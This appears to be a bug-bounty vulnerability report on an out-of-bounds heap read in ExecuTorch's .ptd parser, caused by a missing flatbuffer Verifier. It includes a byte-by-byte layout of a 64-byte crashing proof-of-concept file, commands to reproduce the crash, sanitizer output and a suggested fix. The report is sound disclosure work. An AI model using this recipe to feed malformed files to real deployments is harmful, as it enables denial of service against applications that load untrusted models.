File size: 11,418 Bytes
a9480da
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
# Heap-Buffer-Overflow Read in ExecuTorch FlatTensorDataMap::load() via Missing Flatbuffer Verifier (.ptd)

**Target:** ExecuTorch 1.3.1 (.pte / .ptd, huntr Model File Vulnerability program)
**Severity:** Medium (memory corruption / out-of-bounds read via malformed model file)
**CWE:** CWE-125 (Out-of-Bounds Read), CWE-20 (Improper Input Validation)
**Component:** `extension/flat_tensor/flat_tensor_data_map.cpp`
**Authentication Required:** No β€” the only requirement is that a victim application loads an attacker-supplied `.ptd` file.

## Summary

`FlatTensorDataMap::load()` is the sole entry point for parsing ExecuTorch's `.ptd` (FlatTensor external-data) format. Unlike its sibling `Program::load()` (which parses the analogous `.pte` format and explicitly runs a `flatbuffers::Verifier` over the buffer before trusting it), `FlatTensorDataMap::load()` performs only a magic-byte check, an alignment check, and two non-null checks on top-level fields β€” it never verifies that the flatbuffer's internal offsets and vtables actually stay within the loaded buffer. A 64-byte `.ptd` file with a corrupted root-table offset causes `flatbuffers::Table::GetPointer` to read 8 bytes past the end of the buffer's heap allocation, crashing the process. This is a genuine out-of-bounds read (not merely a null-pointer check gap), matching huntr's Model File Vulnerability program's explicitly-listed "vulnerabilities in model file parsing leading to memory corruption" category.

## Vulnerability Details

`runtime/executor/program.cpp`'s `Program::load()` β€” the `.pte` parser β€” does this correctly:

```cpp
if (verification == Verification::InternalConsistency) {
  flatbuffers::Verifier verifier(
      reinterpret_cast<const uint8_t*>(program_data->data()),
      program_data->size());
  bool ok = executorch_flatbuffer::VerifyProgramBuffer(verifier);
  ET_CHECK_OR_RETURN_ERROR(ok, InvalidProgram, "Verification failed; ...");
  ...
```

`extension/flat_tensor/flat_tensor_data_map.cpp`'s `FlatTensorDataMap::load()` β€” the `.ptd` parser β€” has no equivalent:

```cpp
/* static */ Result<FlatTensorDataMap> FlatTensorDataMap::load(DataLoader* loader) {
  // ... load header, check magic, check size ...

  // Make sure magic matches.
  if (!flat_tensor_flatbuffer::FlatTensorBufferHasIdentifier(flat_tensor_data->data())) {
    return Error::InvalidExternalData;
  }

  // The flatbuffer data must start at an aligned address ...
  ET_CHECK_OR_RETURN_ERROR(is_aligned(flat_tensor_data->data()), ...);

  // Get pointer to root of flatbuffer table.
  const flat_tensor_flatbuffer::FlatTensor* flat_tensor =
      flat_tensor_flatbuffer::GetFlatTensor(flat_tensor_data->data());   // <-- no Verifier ran

  // Validate flat_tensor.
  ET_CHECK_OR_RETURN_ERROR(flat_tensor->named_data() != nullptr, ...);   // <-- already dereferences untrusted offsets
  ET_CHECK_OR_RETURN_ERROR(flat_tensor->segments() != nullptr, ...);
  ...
```

`GetFlatTensor()` and the subsequent `named_data()` / `segments()` accessor calls walk the flatbuffer's internal vtable and offset structures with **zero structural verification**. flatbuffers' own safety model depends entirely on a `Verifier` pass to guarantee that every offset/length embedded in the buffer stays within bounds before any accessor is trusted β€” `FlatTensorDataMap::load()` skips this pass entirely, unlike `Program::load()` in the same codebase.

## Steps to Reproduce

### Environment
Same sanitized ExecuTorch 1.3.1 build and harness as REPORT-01 (see that report's Steps 1–2, identical build commands and harness). This report reuses the exact same `poc/harness_flat_tensor_fuzzer.cpp`.

### 1. PoC file

`poc/poc_oob_read_missing_verifier.ptd` (64 bytes, **included in this report β€” sha256 `3d955721ff41ead7dc52eff62fcd3dc7fd0a355a197f263304385ca8fdee3dd3`**) was produced by coverage-guided fuzzing of the harness against the sanitized build, then reduced to a minimal reproducer with libFuzzer's built-in `-minimize_crash=1`. Full byte-level annotation (`poc/decode_poc.py`, included):

```
[0:4]   root_offset (of the inner flatbuffer payload) = 72 (0x48)
[4:8]   flatbuffer file_identifier                    = b'FT01'
[8:12]  FlatTensorHeader magic                        = b'FH01'
[12:16] FlatTensorHeader.length                       = 40
[16:24] FlatTensorHeader.flatbuffer_offset             = 48
[24:32] FlatTensorHeader.flatbuffer_size               = 0
[32:40] FlatTensorHeader.segment_base_offset           = 0
[40:48] FlatTensorHeader.segment_data_size             = 0
[48:64] trailing bytes (unused padding/garbage)        = 01000011111111110000010011111111

Loaded flatbuffer segment length = flatbuffer_offset + flatbuffer_size = 48 + 0 = 48 bytes
Root table offset stored in the file = 72

*** root_offset (72) EXCEEDS the loaded flatbuffer segment length (48) ***
```

The file passes every check `FlatTensorDataMap::load()` actually performs β€” magic bytes are correct (`FH01`/`FT01`), the outer header parses cleanly, the buffer is aligned, and the file is large enough. The **only** thing wrong with it is that the flatbuffer's own root-table offset (`72`) points past the 48 bytes of flatbuffer payload that were actually loaded β€” exactly the kind of corruption a `flatbuffers::Verifier` exists to catch, and exactly what `Program::load()` catches for `.pte` files but `FlatTensorDataMap::load()` does not catch for `.ptd` files.

Regenerate/verify with:
```bash
python3 poc/decode_poc.py poc/poc_oob_read_missing_verifier.ptd
sha256sum poc/poc_oob_read_missing_verifier.ptd
# 3d955721ff41ead7dc52eff62fcd3dc7fd0a355a197f263304385ca8fdee3dd3
```

### 2. Build the harness

Identical to REPORT-01 Step 2 (same `poc/harness_flat_tensor_fuzzer.cpp`, same build commands).

### 3. Trigger the crash

```bash
export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
export UBSAN_OPTIONS="halt_on_error=1:print_stacktrace=0"
./poc_harness -timeout=5 -runs=0 poc/poc_oob_read_missing_verifier.ptd
```

### Expected result (secure behavior)
`FlatTensorDataMap::load()` should reject this file with a clean `Error::InvalidExternalData` (or similar), since the flatbuffer's root offset is provably inconsistent with the loaded segment size.

### Actual result

```
Running: poc/poc_oob_read_missing_verifier.ptd
=================================================================
==<pid>==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000128 at pc <addr>
READ of size 4 at 0x506000000128 thread T0
    #0 flatbuffers::Table::GetPointer<...>(unsigned short)          [flatbuffers/table.h:43,61]
    #1 (inlined caller within FlatTensorDataMap::load / named_data())
    #2 LLVMFuzzerTestOneInput
0x506000000128 is located 8 bytes after a 64-byte region [0x5060000000e0,0x506000000120)
allocated by thread T0 here:
    #0 ... malloc ...
    #1 ... (buffer allocation for the loaded flatbuffer segment)
SUMMARY: AddressSanitizer: heap-buffer-overflow
```

The process crashes with a heap-buffer-overflow **READ of size 4, exactly 8 bytes past the end of a 64-byte heap allocation**, inside `flatbuffers::Table::GetPointer` β€” called while `FlatTensorDataMap::load()` resolves the `named_data` field on the corrupted root table.

**Reproduced 3/3 identical runs** (re-verified live for this report):
```
run 1: ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000128
run 2: ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000128
run 3: ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000128
```

## Impact

**Who is affected:** Any application or deployment pipeline that embeds ExecuTorch's `extension/flat_tensor` component and calls `FlatTensorDataMap::load()` on an externally-supplied `.ptd` file β€” the single public entry point for parsing this format. This crash occurs during `load()` itself, before any per-key API is even reached, so **every** consumer of this format is affected, not just ones that call specific follow-up methods.

**What the attacker can do:** Cause a deterministic, repeatable out-of-bounds heap read (crash under ASan; undefined behavior in an unsanitized build β€” typically a `SIGSEGV`, or in principle a read of adjacent heap content that flows into further pointer/offset arithmetic) simply by supplying a 64-byte malformed `.ptd` file. The demonstrated consequence is a crash. This report does **not** claim arbitrary code execution or a proven information-disclosure chain β€” no secondary PoC beyond the OOB read itself was built, and claiming more than what was demonstrated would be overclaiming.

**What's at risk:** Availability of the process loading the file, confirmed. Confidentiality is a *theoretical* secondary risk only (the OOB-read byte value could in principle influence later behavior in an observable way) β€” not demonstrated in this report.

**Exploitation complexity:** No interaction beyond the victim loading the file. Purely a file-format parsing bug.

**Why Medium, not Critical:** This is a genuine memory-safety defect (distinguishing it from the null-pointer-dereference class of findings in this codebase), but only a crash was proven β€” no controlled write, no demonstrated information leak, no code execution. Per huntr's own severity framing, this sits in "memory corruption via malformed model file," a real and impactful class, but below the bar for Critical/ACE without a further chained PoC.

## Suggested Remediation

In `FlatTensorDataMap::load()`, after loading the flatbuffer payload and before calling `GetFlatTensor()` / `named_data()` / `segments()`, construct a `flatbuffers::Verifier` over the loaded buffer and call the schema-generated `VerifyFlatTensorBuffer()`, returning `Error::InvalidExternalData` on failure β€” mirroring the pattern already correctly implemented in `runtime/executor/program.cpp`'s `Program::load()`:

```cpp
flatbuffers::Verifier verifier(
    reinterpret_cast<const uint8_t*>(flat_tensor_data->data()),
    flat_tensor_data->size());
ET_CHECK_OR_RETURN_ERROR(
    flat_tensor_flatbuffer::VerifyFlatTensorBuffer(verifier),
    InvalidExternalData,
    "FlatTensor buffer failed verification; data may be truncated or corrupt.");
```

Given that `.ptd` files are, by this program's own threat model, expected to potentially come from untrusted sources (external weight files), this verification should be unconditional rather than opt-in, unlike `.pte`'s `Verification` enum which allows skipping verification for co-packaged, presumably-trusted data.

A regression test should load a truncated/corrupted `.ptd` flatbuffer payload (valid outer header, corrupted root offset as in this PoC) and assert `FlatTensorDataMap::load()` returns a clean `Error` rather than crashing under ASan.

## Files Included in This Report

- `poc/poc_oob_read_missing_verifier.ptd` β€” the 64-byte PoC file (sha256 `3d955721ff41ead7dc52eff62fcd3dc7fd0a355a197f263304385ca8fdee3dd3`)
- `poc/decode_poc.py` β€” byte-level annotation script, shows exactly which field is corrupted and why
- `poc/harness_flat_tensor_fuzzer.cpp` β€” the harness used to trigger and reproduce the crash (identical to REPORT-01's harness β€” same binary can reproduce both PoCs)

## huntr Submission Note

Per the huntr MFV program's submission requirements, this PoC needs to be uploaded to a public HuggingFace repository before filing. `poc/poc_oob_read_missing_verifier.ptd` is ready for that upload.